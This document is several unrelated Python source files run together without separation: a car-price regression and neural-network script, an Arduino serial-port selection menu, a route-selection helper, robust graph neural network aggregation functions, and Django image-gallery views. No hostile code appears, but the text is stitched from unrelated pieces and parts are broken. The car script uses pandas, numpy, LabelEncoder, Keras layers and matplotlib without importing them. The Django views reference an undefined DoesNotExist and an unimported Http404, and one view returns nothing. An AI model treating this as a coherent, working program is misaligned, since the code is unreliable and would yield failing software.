from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score
from sklearn.feature_selection import SelectKBest
from sklearn.feature_selection import chi2
from sklearn.linear_model import LinearRegression
import math
import random
from sklearn import preprocessing
from sklearn.preprocessing import StandardScaler
from sklearn.preprocessing import scale
from sklearn.ensemble import ExtraTreesClassifier

counter = 0

#NOTE:- cars_price_clean.csv is the csv file which doesn't include rows with missing features.

cars_price = pd.read_csv('cars_price_clean.csv')

all_cat = ['make', 'model', 'condition', 'fuel_type', 'transmission', 'year', 'mileage(kilometers)', 'volume(cm3)', 'color', 'drive_unit', 'segment']
all_cat = np.array(all_cat)
all_cat = all_cat.reshape(11, 1)

#print(cars_price.dtypes)
#cars_price.dropna().to_csv('cars_price_clean.csv')
y = cars_price['make']

#storing the 'make' classes in 'cat_make' variable
cat_make = np.unique(y)
#print(cat_make)
y = cars_price['model']

#storing the 'model' classes in 'cat_model' variable
cat_model = np.unique(y)
#print(cat_model)

y = cars_price['condition']

#storing the 'condition' classes in 'cat_condition' variable
cat_condition = np.unique(y)
#print(cat_condition)

y = cars_price['fuel_type']

#storing the 'fuel_type' classes in 'cat_fuel_type' variable
cat_fuel_type = np.unique(y)
#print(cat_fuel_type)

y = cars_price['transmission']

#storing the 'transmission' classes in 'cat_transmission' variable
cat_transmission = np.unique(y)
#print(cat_transmission)

#y = cars_price['segment']

#storing the 'segment' classes in 'cat_segment' variable
#cat_segment = np.unique(y)
#print(cat_segment)

y = cars_price['year']

cat_year = np.unique(y)

#storing classes for color
y = cars_price['color']

cat_color = np.unique(y)

#storing classes for drive_unit
y = cars_price['drive_unit']

cat_drive_unit = np.unique(y)

#storing classes for segment
y = cars_price['segment']

cat_segment = np.unique(y)

#print(cars_price.dtypes)
cars_price['priceUSD'] = cars_price['priceUSD'].astype('float64')
#print(cars_price['priceUSD'])

#to understand relation between 'mileage' and 'price'

#cars_price = cars_price.dropna(axis = 0, how = 'any', inplace = True)

#print(cars_price)

new_col = cars_price['segment']
#print(new_col)

new_col = np.array(new_col)
print(new_col)
nan_counter = 0

#preparing the training data:-
number = LabelEncoder()

#encoding the str column data into numerical data
num_make = number.fit_transform(cars_price['make'])
#max_make = max(num_make)
#num_make = num_make / max_make
print("the shape of num_make is {}".format(num_make.shape))

num_model = number.fit_transform(cars_price['model'])
#max_model = max(num_model)
#num_model = num_model / max_model
print("the shape of num_model is {}".format(num_model.shape))

num_condition = number.fit_transform(cars_price['condition'])
print("the shape of num_condition is {}".format(num_condition.shape))

num_fuel_type = number.fit_transform(cars_price['fuel_type'])
print("the shape of num_fuel_type is {}".format(num_fuel_type.shape))

num_year = number.fit_transform(cars_price['year'])
print("the shape of num_year is {}".format(num_year.shape))

num_mil = cars_price['mileage(kilometers)']
print(num_mil.shape)
#num_mil = num_mil * 1000.0
#max_mil = max(num_mil)
#num_mil = num_mil / float(max_mil)

num_vol = cars_price['volume(cm3)']
print(num_vol.shape)
#max_vol = max(num_vol)
#num_vol = num_vol / float(max_vol)
#num_vol = num_vol / 1000000.0

num_col = number.fit_transform(cars_price['color'])
#max_col = max(num_col)
#num_col = num_col / max_col
print("The shape of num_col is {}".format(num_col.shape))

num_trans = number.fit_transform(cars_price['transmission'])
#max_trans = max(num_trans)
#num_trans = num_trans / max_trans
print("The shape of num_trans is {}".format(num_trans.shape))

num_drive_unit = number.fit_transform(cars_price['drive_unit'])
#max_drive = max(num_drive_unit)
#num_drive_unit = num_drive_unit / max_drive
print("The shape of num_drive_unit is {}".format(num_drive_unit.shape))

num_segment = number.fit_transform(cars_price['segment'])
#max_seg = max(num_segment)
#num_segment = num_segment / max_seg

print("The shape of num_segment is {}".format(num_segment.shape))

target_price = cars_price['priceUSD']
print("The size of The traget_price to predict is   {}".format(target_price.shape))

print(num_make[0])
print(num_model[0])
print(num_condition[0])
print(num_fuel_type[0])
print(num_year[0])

training_data = []
target = []

#Logic for appending the features using training data.
for i in range(0, len(num_year)):
    sample_data = []
    sample_data.append(num_make[i])
    sample_data.append(num_model[i])
    sample_data.append(num_condition[i])
    sample_data.append(num_fuel_type[i])
    sample_data.append(num_year[i])
    sample_data.append(num_mil[i])
    sample_data.append(num_vol[i])
    sample_data.append(num_col[i])
    sample_data.append(num_trans[i])
    sample_data.append(num_drive_unit[i])
    sample_data.append(num_segment[i])

    target_data = []
    target_data.append(target_price[i])

    training_data.append([sample_data, target_data])

#shuffling the training data
random.shuffle(training_data)

X = []
y = []

for features, label in training_data:
    X.append(features)
    y.append(label)

X = np.array(X)
y = np.array(y)

#Scaling the feature data for better computation and increased accuracy
Xs = scale(X)
print(Xs)

y = y.flatten()

print(X.shape)

print(y.shape)

  #Using chi-squared to understand the impact of most important feature on our target_price
  #Infered from chi-squared:- Segment feature of the data is really impactful on the price followed by 'color'
bestfeatures = SelectKBest(score_func=chi2, k=10)
fit = bestfeatures.fit(X,y)
dfscores = pd.DataFrame(fit.scores_)
print("here are scores: ")
print(dfscores.shape)
dfcolumns = pd.DataFrame(all_cat)
#concat two dataframes for better visualization
featureScores = pd.concat([dfcolumns,dfscores],axis=1)
featureScores.columns = ['Specs','Score']  #naming the dataframe columns
print(featureScores.nlargest(10,'Score'))  #print 10 best features

#Splitting the data into training and testing(20%)
X_train, X_test, y_train, y_test = train_test_split(Xs, y, test_size = 0.2, random_state = 0)

#using sklearn's regression model
regressor = LinearRegression()

regressor.fit(X_train, y_train)

y_pred = regressor.predict(X_test)

print("Accuracy using regression model is:   {}%".format(regressor.score(X_test, y_test) * 100))

print("Here are the actual and predicted values using regression:--------")

#displaying the actual and predicted values for better understanding
result = pd.DataFrame({'Actual': y_test, 'Predicted': y_pred})
print(result.head())

y_test_new = []
y_test_orig = []

#Second model using neural networks
model = Sequential()
model.add(Dense(20, input_dim = X_train.shape[1], activation='relu'))
model.add(Dense(32, kernel_initializer='normal', activation='relu'))
model.add(Dense(32, kernel_initializer='normal', activation='relu'))
model.add(Dense(32, kernel_initializer='normal', activation='relu'))
model.add(Dense(32, kernel_initializer='normal', activation='relu'))

model.add(Dense(32, kernel_initializer='normal', activation='relu'))
model.add(Dense(32, kernel_initializer='normal', activation='relu'))
model.add(Dense(32, kernel_initializer='normal', activation='relu'))
model.add(Dense(32, kernel_initializer='normal', activation='relu'))

model.add(Dense(1, activation='linear'))

model.compile(loss='mean_squared_error', optimizer='adam', metrics=['mean_squared_error'])

hist = model.fit(X_train, y_train, epochs = 20, validation_split = 0.2, shuffle=True)

model.save('train_cars.h5', hist)

y_new_pred = model.predict(X_test)

print(X_test.shape)

print(y_new_pred.shape)

y_new_pred = y_new_pred.flatten()

#printing the actual and predicted values for comparison
print("Here are the actual and predicted values using neural nets:--------")
result = pd.DataFrame({'Actual': y_test, 'Predicted': y_new_pred})
print(result.head())

#Logic for calculating accuracy on test_data
new_count = 0
for i in range(0, 7004):
    accuracy_pos = y_test[i] + 1000
    accuracy_neg = y_test[i] - 1000
    if(y_new_pred[i] < y_test[i] and y_new_pred[i] > accuracy_neg):
        new_count = new_count + 1

    if((y_new_pred[i] > y_test[i]) and (y_new_pred[i] < accuracy_pos)):
        new_count = new_count + 1

print("Right predictions are out of 7004 are:  {}".format(new_count))

percent = (float(new_count) * 100) / 7004

print("accuracy using neural nets is:   {}  %".format(percent))

print("Accuracy using regression model is:   {}%".format(regressor.score(X_test, y_test) * 100))

print("plot showing test and training loss:---")

plt.title('Loss / Mean Squared Error')
plt.plot(hist.history['loss'], label='train')
plt.plot(hist.history['val_loss'], label='test')
plt.legend()
plt.show()

#Note:- Used two models for predictions. Both reached the max accuracy of prediction upto 55%. Accuracy can further be increased after monitoring the relationship between data or adding more relevant features


import sys
import glob
import serial
import serial.tools.list_ports

def user_select_port_loop():
    """Boucle d'attente de l'utilisateur pour obtenir le port de la carte arduino

    Returns:
        str: Port de la carte
    """
    liste_ports = serial.tools.list_ports.comports()
    ports = [port[0] for port in sorted(liste_ports)]
    r = [str(i) for i in range(len(ports))]
    port_user = None

    while(port_user not in r):

        print("--------------")
        for nb, port in zip(r, ports):
            print(nb, ".", port)

        print("--------------")
        print("A . Actualiser")
        print("S . Simulation")
        print("E . Exit")
        print("--------------")

        port_user = input("Entrer le port désiré : ")
        if (port_user == "E"):
            sys.exit()

        if (port_user == "S"):
            return ""

        if (port_user == "A"):
            liste_ports = serial.tools.list_ports.comports()
            ports = [port[0] for port in sorted(liste_ports)]
            r = [str(i) for i in range(len(ports))]

    return ports[int(port_user)]

if __name__ == '__main__':
    port = user_select_port_loop()
    print(port)
    print(type(port))


# -*- coding: utf-8 -*-
"""
Created on Sat Nov 19 20:43:33 2022

@author: DELL
"""
from solver.dist_overlap import dist_overlap

def vlt_select(policy_dist, bigM = 10000):
    ID1 = -100
    index1 = -100
    min_dist = bigM
    for ID,policy in policy_dist.items():
        if min(policy) < min_dist:
            ID1 = ID
            min_dist = min(policy)
            index1 = policy.index(min(policy))
    return [ID1, index1]

def vlt_update(ID, index, threshold, policy_dist_copy, policydict,bigM = 10000):
    basepath = policydict[ID][0][index][1]
    for ID1, dist in policy_dist_copy.items():
        for i in range(len(dist)):
            if dist_overlap(basepath, policydict[ID1][0][i][1]) > threshold:
                dist[i] = bigM
    policy_dist_copy.pop(ID)
    return(policy_dist_copy)


"""The (robust) aggregations of our paper.
"""

import logging
import math
import os
import socket
from typing import Callable, Optional, Tuple

import numba
import numpy as np
import torch
import torch.nn.functional as F
from torch.utils.checkpoint import checkpoint
from torch.utils.cpp_extension import load
import torch_scatter
import torch_sparse

from rgnn_at_scale.helper.utils import sparse_tensor_to_tuple, tuple_to_sparse_tensor

try:
    try:
        import kernels as custom_cuda_kernels
        if not hasattr(custom_cuda_kernels, 'topk'):
            raise ImportError()
    except ImportError:
        cache_dir = os.path.join('.', 'extension', socket.gethostname(), torch.__version__)
        os.makedirs(cache_dir, exist_ok=True)
        custom_cuda_kernels = load(name="kernels",
                                   sources=["kernels/csrc/custom.cpp", "kernels/csrc/custom_kernel.cu"],
                                   extra_cuda_cflags=['-lcusparse', '-l', 'cusparse'],
                                   build_directory=cache_dir)
except:  # noqa: E722
    logging.warn('Cuda kernels could not loaded -> no CUDA support!')

class Chunker(object):

    def __init__(self, n: int, n_chunks: int, requires_grad: bool, do_synchronize: bool = False):
        self.n = n
        self.n_chunks = n_chunks
        self.requires_grad = requires_grad
        self.do_synchronize = do_synchronize
        self.chunk_size = int(math.ceil(n / n_chunks))
        self.lower = [chunk * self.chunk_size for chunk in range(self.n_chunks)]
        self.upper = [(chunk + 1) * self.chunk_size for chunk in range(self.n_chunks)]
        self.upper[-1] = n

    def chunk(self,
              get_run: Callable[[int, int], Callable],
              *input_tensors: Tuple[torch.Tensor, ...]) -> torch.Tensor:
        result = []
        for lower, upper in zip(self.lower, self.upper):
            if self.requires_grad:
                result.append(checkpoint(get_run(lower, upper), *input_tensors))
                if self.do_synchronize:
                    torch.cuda.synchronize()
            else:
                result.append(get_run(lower, upper)(*input_tensors))

        result = torch.cat(result)
        return result

def chunked_message_and_aggregate(
    adj_t: torch_sparse.SparseTensor,
    x: torch.Tensor,
    n_chunks: int = 8,
    aggregation_function: Optional[Callable[[torch_sparse.SparseTensor, torch.Tensor], torch.Tensor]] = None,
    **kwargs
) -> torch.Tensor:
    if aggregation_function is None:
        def aggregation_function(adj: torch_sparse.SparseTensor, x: torch.Tensor) -> torch.Tensor:
            return torch_sparse.matmul(adj, x, reduce='sum')

        if not adj_t.coo()[-1].requires_grad:
            return aggregation_function(adj_t, x)

    edge_weight, *rest = sparse_tensor_to_tuple(adj_t)

    def row_chunked_matmul(lower: int, upper: int):

        def row_chunked_matmul_run(edge_weight: torch.Tensor, x: torch.Tensor) -> torch.Tensor:
            adj = tuple_to_sparse_tensor(edge_weight, *rest)
            return aggregation_function(adj[lower:upper, :], x)
        return row_chunked_matmul_run

    chunker = Chunker(x.size(0), n_chunks, True)
    new_embeddings = chunker.chunk(
        lambda lower, upper: row_chunked_matmul(lower, upper),
        edge_weight, x
    )

    return new_embeddings

@numba.jit(nopython=True)
def _select_k_idx_cpu(row_idx: np.ndarray,
                      col_idx: np.ndarray,
                      values: np.ndarray,
                      k_per_row: np.ndarray,
                      n: int,
                      method: str = 'top'):
    new_idx = []
    valiue_idx = []
    unroll_idx = []

    sort_idx = row_idx.argsort()
    row_idx = row_idx[sort_idx]
    col_idx = col_idx[sort_idx]

    row_idx_start = 0
    row_idx_end = 0
    for i in range(n):
        k_of_row = k_per_row[i]
        while row_idx_end < len(row_idx) and row_idx[row_idx_end] < i + 1:
            row_idx_end += 1
        if k_of_row > 0:
            if method == 'top':
                curr_idx = (-values[row_idx_start:row_idx_end]).argsort()[:k_of_row]
            else:
                curr_idx = np.random.choice(row_idx_end - row_idx_start, k_of_row, replace=False)
            new_idx.append(np.stack((
                i * np.ones_like(curr_idx),
                col_idx[row_idx_start + curr_idx]
            )))
            valiue_idx.append(row_idx_start + curr_idx)
            unroll_idx.append(np.arange(len(curr_idx)))
        row_idx_start = row_idx_end

    return new_idx, valiue_idx, unroll_idx

def _sparse_top_k(A_indices: torch.Tensor, A_values: torch.Tensor, n: int, k: int, return_sparse: bool = True):

    if A_indices.is_cuda:
        topk_values, topk_idx = custom_cuda_kernels.topk(A_indices, A_values, n, k)
        if not return_sparse:
            return topk_values, topk_idx.long()

        mask = topk_idx != -1
        row_idx = torch.arange(n, device=A_indices.device).view(-1, 1).expand(n, k)
        return torch.sparse.FloatTensor(torch.stack((row_idx[mask], topk_idx[mask].long())), topk_values[mask])

    n_edges_per_row = torch_scatter.scatter_sum(
        torch.ones_like(A_values),
        A_indices[0],
        dim=0
    )
    k_per_row = torch.clamp(
        n_edges_per_row,
        max=k
    ).long()

    new_idx, value_idx, unroll_idx = _select_k_idx_cpu(
        A_indices[0].cpu().detach().numpy(),
        A_indices[1].cpu().detach().numpy(),
        A_values.cpu().detach().numpy(),
        k_per_row.cpu().detach().numpy(),
        n,
        method='top'
    )

    new_idx = torch.from_numpy(np.hstack(new_idx)).to(A_indices.device)
    value_idx = torch.from_numpy(np.hstack(value_idx)).to(A_indices.device)

    if return_sparse:
        return torch.sparse.FloatTensor(new_idx, A_values[value_idx])
    else:
        unroll_idx = np.hstack(unroll_idx)
        values = torch.zeros((n, k), device=A_indices.device)
        indices = -torch.ones((n, k), device=A_indices.device, dtype=torch.long)
        values[new_idx[0], unroll_idx] = A_values[value_idx]
        indices[new_idx[0], unroll_idx] = new_idx[1]
        return values, indices

def partial_distance_matrix(x: torch.Tensor, partial_idx: torch.Tensor) -> torch.Tensor:
    """Calculates the partial distance matrix given the indices. For a low memory footprint (small computation graph)
    it is essential to avoid duplicated computation of the distances.

    Parameters
    ----------
    x : torch.Tensor
        Dense [n, d] tensor with attributes to calculate the distance between.
    partial_idx : torch.Tensor
        Dense [batch_size, k] tensor where `-1` stands for no index.
        Pairs are generated by the row id and the contained ids.

    Returns
    -------
    torch.Tensor
        [n, k, k] distances matrix (zero entries for `-1` indices)
    """
    n, _ = x.shape
    batch_size, k = partial_idx.shape

    # Permute the indices of partial_idx
    idx_row = partial_idx[:, None, :].expand(batch_size, k, k).flatten()
    idx_column = partial_idx[:, None, :].expand(batch_size, k, k).transpose(1, 2).flatten()
    is_not_missing_mask = (idx_row != -1) & (idx_column != -1)
    idx_row, idx_column = idx_row[is_not_missing_mask], idx_column[is_not_missing_mask]

    # Use symmetry of Euclidean distance to half memory footprint
    symmetry_mask = idx_column < idx_row
    idx_row[symmetry_mask], idx_column[symmetry_mask] = idx_column[symmetry_mask], idx_row[symmetry_mask]
    del symmetry_mask

    # Create linear index (faster deduplication)
    linear_index = idx_row * n + idx_column
    del idx_row
    del idx_column

    # Avoid duplicated distance calculation (helps greatly for space cost of backward)
    distance_matrix_idx, unique_reverse_index = torch.unique(linear_index, return_inverse=True)

    # Calculate Euclidean distances between all pairs
    sparse_distances = torch.norm(x[distance_matrix_idx // n] - x[distance_matrix_idx % n], dim=1)

    # Create dense output
    out = torch.zeros(batch_size * k * k, dtype=torch.float, device=x.device)

    # Map sparse distances to output tensor
    out[is_not_missing_mask] = sparse_distances[unique_reverse_index]

    return out.view(batch_size, k, k)

def soft_weighted_medoid_k_neighborhood(
    A: torch_sparse.SparseTensor,
    x: torch.Tensor,
    k: int = 32,
    temperature: float = 1.0,
    with_weight_correction: bool = True,
    threshold_for_dense_if_cpu: int = 5_000,
    **kwargs
) -> torch.Tensor:
    """Soft Weighted Medoid in the top `k` neighborhood (see Eq. 6 and Eq. 7 in our paper). This function can be used
    as a robust aggregation function within a message passing GNN (e.g. see `models#RGNN`).

    Note that if `with_weight_correction` is false, we calculate the Weighted Soft Medoid as in Appendix C.4.

    Parameters
    ----------
    A : torch_sparse.SparseTensor
        Sparse [batch_size, n] tensor of the weighted/normalized adjacency matrix.
    x : torch.Tensor
        Dense [n, d] tensor containing the node attributes/embeddings.
    k : int, optional
        Neighborhood size for selecting the top k elements, by default 32.
    temperature : float, optional
        Controlling the steepness of the softmax, by default 1.0.
    with_weight_correction : bool, optional
        For enabling an alternative normalisazion (see above), by default True.
    threshold_for_dense_if_cpu : int, optional
        On cpu, for runtime reasons, we use a dense implementation if feasible, by default 5_000.

    Returns
    -------
    torch.Tensor
        The new embeddings [batch_size, d] for the batch_size
    """

    batch_size = A.size(0)
    n, d = x.shape
    assert n == A.size(1), \
        "Size missmatch of adjacency matrix (batch_size, n) and attribute/embedding matrix x (n,d)"
    if k > n:
        if with_weight_correction:
            raise NotImplementedError('`k` less than `n` and `with_weight_correction` is not implemented.')
        return soft_weighted_medoid(A.to_torch_sparse_coo_tensor(), x, temperature=temperature)
    if not x.is_cuda and n < threshold_for_dense_if_cpu:
        return dense_cpu_soft_weighted_medoid_k_neighborhood(A, x, k, temperature, with_weight_correction)

    A_rows, A_cols, A_values = A.coo()
    A_indices = torch.stack([A_rows, A_cols], dim=0)
    del A_rows, A_cols

    # Custom CUDA extension / Numba JIT code for the top k values of the sparse adjacency matrix
    top_k_weights, top_k_idx = _sparse_top_k(A_indices, A_values, batch_size, k=k, return_sparse=False)

    # Partial distance matrix calculation
    distances_top_k = partial_distance_matrix(x, top_k_idx)

    # Multiply distances with weights
    distances_top_k = (top_k_weights[:, None, :].expand(batch_size, k, k) * distances_top_k).sum(-1)
    distances_top_k[top_k_idx == -1] = torch.finfo(distances_top_k.dtype).max
    distances_top_k[~torch.isfinite(distances_top_k)] = torch.finfo(distances_top_k.dtype).max

    # Softmax over L1 criterium
    reliable_adj_values = F.softmax(-distances_top_k / temperature, dim=-1)
    del distances_top_k

    # To have GCN as a special case (see Eq. 6 in our paper)
    if with_weight_correction:
        reliable_adj_values = reliable_adj_values * top_k_weights
        reliable_adj_values = reliable_adj_values / reliable_adj_values.sum(-1).view(-1, 1)

    # Map the top k results back to the (sparse) [batch_size,n] matrix
    top_k_inv_idx_row = torch.arange(batch_size, device=A.device())[:, None].expand(batch_size, k).flatten()
    top_k_inv_idx_column = top_k_idx.flatten()
    top_k_mask = top_k_inv_idx_column != -1

    # Note: The adjacency matrix A might have disconnected nodes. In that case applying the top_k_mask will
    # drop the nodes completely from the adj matrix making, changing its shape
    reliable_adj_index = torch.stack([top_k_inv_idx_row[top_k_mask], top_k_inv_idx_column[top_k_mask]])
    reliable_adj_values = reliable_adj_values[top_k_mask.view(batch_size, k)]

    # Normalization and calculation of new embeddings
    a_row_sum = torch_scatter.scatter_sum(A_values, A_indices[0], dim=-1, dim_size=batch_size)
    new_embeddings = a_row_sum.view(-1, 1) * torch_sparse.spmm(reliable_adj_index,
                                                               reliable_adj_values, batch_size, n, x)
    return new_embeddings

def dense_cpu_soft_weighted_medoid_k_neighborhood(
    A: torch.sparse.FloatTensor,
    x: torch.Tensor,
    k: int = 32,
    temperature: float = 1.0,
    with_weight_correction: bool = False,
    **kwargs
) -> torch.Tensor:
    """Dense cpu implementation (for details see `soft_weighted_medoid_k_neighborhood`).
    """
    A_dense = A.to_dense()

    n, d = x.size()
    batch_size = A_dense.size(0)

    l2 = _distance_matrix(x)

    topk_a, topk_a_idx = torch.topk(A_dense, k=k, dim=1)
    topk_l2_idx = topk_a_idx[:, None, :].expand(batch_size, k, k)
    distances_k = (
        topk_a[:, None, :].expand(batch_size, k, k)
        * l2[topk_l2_idx, topk_l2_idx.transpose(1, 2)]
    ).sum(-1)

    # when all values of a row are 0 (nodes without any outgoing edges)
    # then we get NaN results from the softmax which propagate to the embedding
    distances_k[topk_a == 0] = torch.finfo(distances_k.dtype).max
    distances_k[~torch.isfinite(distances_k)] = torch.finfo(distances_k.dtype).max

    row_sum = A_dense.sum(-1)[:, None]
    topk_weights = torch.zeros(A_dense.shape, device=A_dense.device)

    topk_weights[torch.arange(batch_size)[:, None].expand(batch_size, k),
                 topk_a_idx] = F.softmax(- distances_k / temperature, dim=-1)

    if with_weight_correction:
        topk_weights[torch.arange(batch_size)[:, None].expand(batch_size, k), topk_a_idx] *= topk_a
        # Here we have another chance to introduce more NaNs for nodes without any outgoing edges
        # in these cases we are dividing my zero here
        topk_weights /= topk_weights.sum(-1)[:, None]

    # For nodes with no outgoing edges (sum of this row is zero) we have NaN values in our
    # topk_weights matrix which we need to correct.
    # We set this to 0 because multiplying with row_sum in the returm statement should have
    # resulted in a 0 vector for these nodes' embedding anyways
    zero_embedding_mask = (row_sum == 0).flatten()
    topk_weights[zero_embedding_mask] = 0

    return row_sum * (topk_weights @ x)

def weighted_dimwise_median(A: torch.sparse.FloatTensor, x: torch.Tensor, **kwargs) -> torch.Tensor:
    """A weighted dimension-wise Median aggregation.

    Parameters
    ----------
    A : torch.sparse.FloatTensor
        Sparse [n, n] tensor of the weighted/normalized adjacency matrix
    x : torch.Tensor
        Dense [n, d] tensor containing the node attributes/embeddings

    Returns
    -------
    torch.Tensor
        The new embeddings [n, d]
    """
    if not A.is_cuda:
        return weighted_dimwise_median_cpu(A, x, **kwargs)

    assert A.is_sparse
    N, D = x.shape

    median_idx = custom_cuda_kernels.dimmedian_idx(x, A.indices(), A.values(), A._nnz(), N)
    col_idx = torch.arange(D, device=A.device).view(1, -1).expand(N, D)
    x_selected = x[median_idx, col_idx]

    a_row_sum = torch_scatter.scatter_sum(A._values(), A._indices()[0], dim=-1).view(-1, 1).expand(N, D)
    return a_row_sum * x_selected

def weighted_dimwise_median_cpu(A: torch.sparse.FloatTensor, x: torch.Tensor, **kwargs) -> torch.Tensor:
    """A weighted dimension-wise Median aggregation (cpu implementation).

    Parameters
    ----------
    A : torch.sparse.FloatTensor
        Sparse [n, n] tensor of the weighted/normalized adjacency matrix.
    x : torch.Tensor
        Dense [n, d] tensor containing the node attributes/embeddings.

    Returns
    -------
    torch.Tensor
        The new embeddings [n, d].
    """
    N, D = x.shape
    x_sorted, index_x = torch.sort(x, dim=0)
    matrix_index_for_each_node = torch.arange(N, dtype=torch.long)[:, None, None].expand(N, N, D)
    A_cpu_dense = A.cpu()
    if A.is_sparse:
        A_cpu_dense = A_cpu_dense.to_dense()
    cum_sorted_weights = A_cpu_dense[matrix_index_for_each_node, index_x].cumsum(1)
    weight_sum_per_node = cum_sorted_weights.max(1)[0]
    median_element = (cum_sorted_weights < (weight_sum_per_node / 2)[:, None].expand(N, N, D)).sum(1).to(A.device)

    matrix_reverse_index = torch.arange(D, dtype=torch.long)[None, :].expand(N, D).to(A.device)
    x_selected = x[
        index_x[median_element, matrix_reverse_index],
        matrix_reverse_index
    ]
    return weight_sum_per_node.to(A.device) * x_selected

def _distance_matrix(x: torch.Tensor, eps_factor=1e2) -> torch.Tensor:
    """Naive dense distance matrix calculation.

    Parameters
    ----------
    x : torch.Tensor
        Dense [n, d] tensor containing the node attributes/embeddings.
    eps_factor : [type], optional
        Factor to be multiplied by `torch.finfo(x.dtype).eps` for "safe" sqrt, by default 1e2.

    Returns
    -------
    torch.Tensor
        n by n distance matrix.
    """
    x_norm = (x ** 2).sum(1).view(-1, 1)
    x_norm_t = x_norm.transpose(0, 1)
    squared = x_norm + x_norm_t - (2 * (x @ x.transpose(0, 1)))
    # For "save" sqrt
    eps = eps_factor * torch.finfo(x.dtype).eps
    return torch.sqrt(torch.abs(squared) + eps)

def weighted_medoid(A: torch.sparse.FloatTensor, x: torch.Tensor, **kwargs) -> torch.Tensor:
    """A weighted Medoid aggregation.

    Parameters
    ----------
    A : torch.sparse.FloatTensor
        Sparse [n, n] tensor of the weighted/normalized adjacency matrix.
    x : torch.Tensor
        Dense [n, d] tensor containing the node attributes/embeddings.

    Returns
    -------
    torch.Tensor
        The new embeddings [n, d].
    """
    N, D = x.shape
    l2 = _distance_matrix(x)
    A_cpu_dense = A.cpu()
    l2_cpu = l2.cpu()
    if A.is_sparse:
        A_cpu_dense = A_cpu_dense.to_dense()
    distances = A_cpu_dense[:, None, :].expand(N, N, N) * l2_cpu
    distances[A_cpu_dense == 0] = torch.finfo(distances.dtype).max
    distances = distances.sum(-1).to(x.device)
    distances[~torch.isfinite(distances)] = torch.finfo(distances.dtype).max
    row_sum = A_cpu_dense.sum(-1)[:, None].to(x.device)
    return row_sum * x[distances.argmin(-1)]

def weighted_medoid_k_neighborhood(A: torch.sparse.FloatTensor, x: torch.Tensor, k: int = 32, **kwargs) -> torch.Tensor:
    """A weighted Medoid aggregation.

    Parameters
    ----------
    A : torch.sparse.FloatTensor
        Sparse [n, n] tensor of the weighted/normalized adjacency matrix.
    x : torch.Tensor
        Dense [n, d] tensor containing the node attributes/embeddings.

    Returns
    -------
    torch.Tensor
        The new embeddings [n, d].
    """
    N, D = x.shape
    if k > N:
        return weighted_medoid(A, x)
    l2 = _distance_matrix(x)
    if A.is_sparse:
        A_dense = A.to_dense()
    else:
        A_dense = A
    topk_a, topk_a_idx = torch.topk(A_dense, k=k, dim=1)
    topk_l2_idx = topk_a_idx[:, None, :].expand(N, k, k)
    distances_k = (
        topk_a[:, None, :].expand(N, k, k)
        * l2[topk_l2_idx, topk_l2_idx.transpose(1, 2)]
    ).sum(-1)
    distances_k[topk_a == 0] = torch.finfo(distances_k.dtype).max
    distances_k[~torch.isfinite(distances_k)] = torch.finfo(distances_k.dtype).max
    row_sum = A_dense.sum(-1)[:, None]
    return row_sum * x[topk_a_idx[torch.arange(N), distances_k.argmin(-1)]]

def soft_weighted_medoid(
    A: torch.sparse.FloatTensor,
    x: torch.Tensor,
    temperature: float = 1.0,
    **kwargs
) -> torch.Tensor:
    """A weighted Medoid aggregation.

    Parameters
    ----------
    A : torch.sparse.FloatTensor
        Sparse [n, n] tensor of the weighted/normalized adjacency matrix.
    x : torch.Tensor
        Dense [n, d] tensor containing the node attributes/embeddings.
    temperature : float, optional
        Temperature for the argmin approximation by softmax, by default 1.0

    Returns
    -------
    torch.Tensor
        The new embeddings [n, d].
    """
    batch_size = A.size(0)
    N, D = x.shape
    l2 = _distance_matrix(x)
    A_cpu_dense = A.cpu()
    l2_cpu = l2.cpu()
    if A.is_sparse:
        A_cpu_dense = A_cpu_dense.to_dense()
    distances = A_cpu_dense[:, None, :].expand(batch_size, N, N) * l2_cpu
    distances[A_cpu_dense == 0] = torch.finfo(distances.dtype).max
    distances = distances.sum(-1).to(x.device)
    distances[~torch.isfinite(distances)] = torch.finfo(distances.dtype).max
    row_sum = A_cpu_dense.sum(-1)[:, None].to(x.device)
    return row_sum * (F.softmax(-distances / temperature, dim=-1) @ x)

def soft_median(
    A: torch_sparse.SparseTensor,
    x: torch.Tensor,
    p=2,
    temperature=1.0,
    eps=1e-12,
    **kwargs
) -> torch.Tensor:
    """Soft Weighted Median.

    Parameters
    ----------
    A : torch_sparse.SparseTensor,
        Sparse [batch_size, n] tensor of the weighted/normalized adjacency matrix.
    x : torch.Tensor
        Dense [n, d] tensor containing the node attributes/embeddings.
    p : int, optional
        Norm for distance calculation
    temperature : float, optional
        Controlling the steepness of the softmax, by default 1.0.
    eps : float, optional
        Precision for softmax calculation.

    Returns
    -------
    torch.Tensor
        The new embeddings [n, d].
    """
    n, d = x.size()
    batch_size = A.size(0)

    row_index, col_index, edge_weights = A.coo()
    edge_index = torch.stack([row_index, col_index], dim=0)

    weight_sums = torch_scatter.scatter_add(edge_weights, row_index)

    with torch.no_grad():
        median_idx = custom_cuda_kernels.dimmedian_idx(x, edge_index, edge_weights, A.nnz(), batch_size)
        median_col_idx = torch.arange(d, device=x.device).view(1, -1).expand(batch_size, d)
    x_median = x[median_idx, median_col_idx]

    distances = torch.norm(x_median[row_index] - x[col_index], dim=1, p=p) / pow(d, 1 / p)

    soft_weights = torch_scatter.composite.scatter_softmax(-distances / temperature, row_index, dim=-1, eps=eps)
    weighted_values = soft_weights * edge_weights
    row_sum_weighted_values = torch_scatter.scatter_add(weighted_values, row_index)
    final_adj_weights = weighted_values / row_sum_weighted_values[row_index] * weight_sums[row_index]

    new_embeddings = torch_sparse.spmm(edge_index, final_adj_weights, batch_size, n, x)

    return new_embeddings

ROBUST_MEANS = {
    'dimmedian': weighted_dimwise_median,
    'medoid': weighted_medoid,
    'k_medoid': weighted_medoid_k_neighborhood,
    'soft_medoid': soft_weighted_medoid,
    'soft_k_medoid': soft_weighted_medoid_k_neighborhood,
    'soft_median': soft_median
}


from django.shortcuts import render
from .models import Image

# Create your views here.
def display_images(request):
    photos = Image.photo_display

    return render(request, 'all-photos/photo.html', { "photos": photos})
def search_results(request):
    '''
    search function to display search search_results
    args:
    order defines category
    '''
    if 'image' in request.GET and request.GET["image"]:
        search_term = request.GET.get("image")
        searched_images = Image.search_by_category(search_term)
        message = f"{search_term}"

        return render(request, 'all-photos/search.html', {"message": message, "images": searched_images})

    else:
        message = "You haven't searched for any term"
        return render(request, 'all-photos/search.html', {"message": message})
def image(request,image_id):
    try:
        image = Image.objects.get(id=image_id)
    except DoesNotExist:
        raise Http404()
